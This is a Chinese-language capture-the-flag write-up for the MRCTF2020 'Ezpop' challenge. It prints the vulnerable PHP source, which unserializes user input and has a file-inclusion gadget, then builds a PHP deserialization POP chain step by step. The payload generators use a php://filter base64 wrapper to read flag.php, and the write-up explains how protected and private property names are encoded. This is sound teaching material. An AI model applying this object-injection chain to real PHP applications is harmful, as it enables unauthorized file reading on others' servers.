BUUFTC-日刷-[MRCTF2020]Ezpop-tostring小知識點-反序列化屬性小坑
阿新 • • 發佈:2021-11-11
<?php //flag is in flag.php //WTF IS THIS? //Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95 //And Crack It! class Modifier { protected $var; public function append($value){ include($value); } public function __invoke(){ $this->append($this->var); } } class Show{ public $source; public $str; public function __construct($file='index.php'){ $this->source = $file; echo 'Welcome to '.$this->source."<br>"; } public function __toString(){ return $this->str->source; }public function __wakeup(){ if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) { echo "hacker"; $this->source = "index.php"; } } } class Test{ public $p; public function __construct(){ $this->p = array(); }public function __get($key){ $function = $this->p; return $function(); } } if(isset($_GET['pop'])){ @unserialize($_GET['pop']); } else{ $a=new Show; highlight_file(__FILE__); }
審計程式碼,很明顯發現我們要利用的點
class Modifier { protected $var; public function append($value){ include($value); } public function __invoke(){ $this->append($this->var); } }
想要呼叫這個檔案包含,就要呼叫到__invoke(),這個方法是類被當作函式呼叫的時候會觸發,繼續找
class Test{ public $p; public function __construct(){ $this->p = array(); } public function __get($key){ $function = $this->p; return $function(); } }
這裡__get方法會呼叫$p,讓p等於modifier即可,下面就是想辦法呼叫test的__get(),這個方法是呼叫這個類裡面不存在或者私有變數時會觸發
class Show{ public $source; public $str; 。。。 public function __toString(){ return $this->str->source; } 。。。 }
注意到show類中__tostring方法會返回str中source,我們讓str等於test類,source隨便指定即可。下面就是想辦法呼叫__tostring
我之前一直以為只有輸出字串才會呼叫__tostring方法,查了一下,只要被當作字串處理都會呼叫這個方法
class Show{ public $source; public $str; 。。。 public function __wakeup(){ if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) { echo "hacker"; $this->source = "index.php"; } } }
注意到show類中,__wakeup()方法,會對souce進行一次正則匹配,這裡就會把source當作字串處理,因此讓source等於show類即可
構造pop鏈:
<?php class Modifier { protected $var='flag.php'; } class Show{ public $source; public $str; } class Test{ public $p; } $s=new Show(); $s->str=new Test(); $s->str->p=new Modifier(); $ss=new Show(); $ss->source=$s; print_r((serialize($ss)));
發現沒反應,觀察輸出的序列化鏈:
這裡s長度為6,但是隻有 *var 4個字元,查一下
protected在變數名前新增標記\00*\00,長度+3: s:5:"\00*\00op";i:2;
因此直接輸出結果複製不行的,先url編碼一下
<?php class Modifier { protected $var='flag.php'; } class Show{ public $source; public $str; } class Test{ public $p; } $s=new Show(); $s->str=new Test(); $s->str->p=new Modifier(); $ss=new Show(); $ss->source=$s; print_r(urlencode(serialize($ss)));
發現
不能直接輸出原始碼,採用偽協議輸出即可
<?php class Modifier { protected $var='php://filter/read=convert.base64-encode/resource=flag.php'; } class Show{ public $source; public $str; } class Test{ public $p; } $s=new Show(); $s->str=new Test(); $s->str->p=new Modifier(); $ss=new Show(); $ss->source=$s; print_r(urlencode(serialize($ss)));
獲得base原始碼,解碼即可
附上我踩的坑
public無標記,變數名不變,長度不變: s:2:"op";i:2; protected在變數名前新增標記\00*\00,長度+3: s:5:"\00*\00op";i:2; private在變數名前新增標記\00(classname)\00,長度+2+類名長度: s:17:"\00FileHandler_Z\00op";i:2;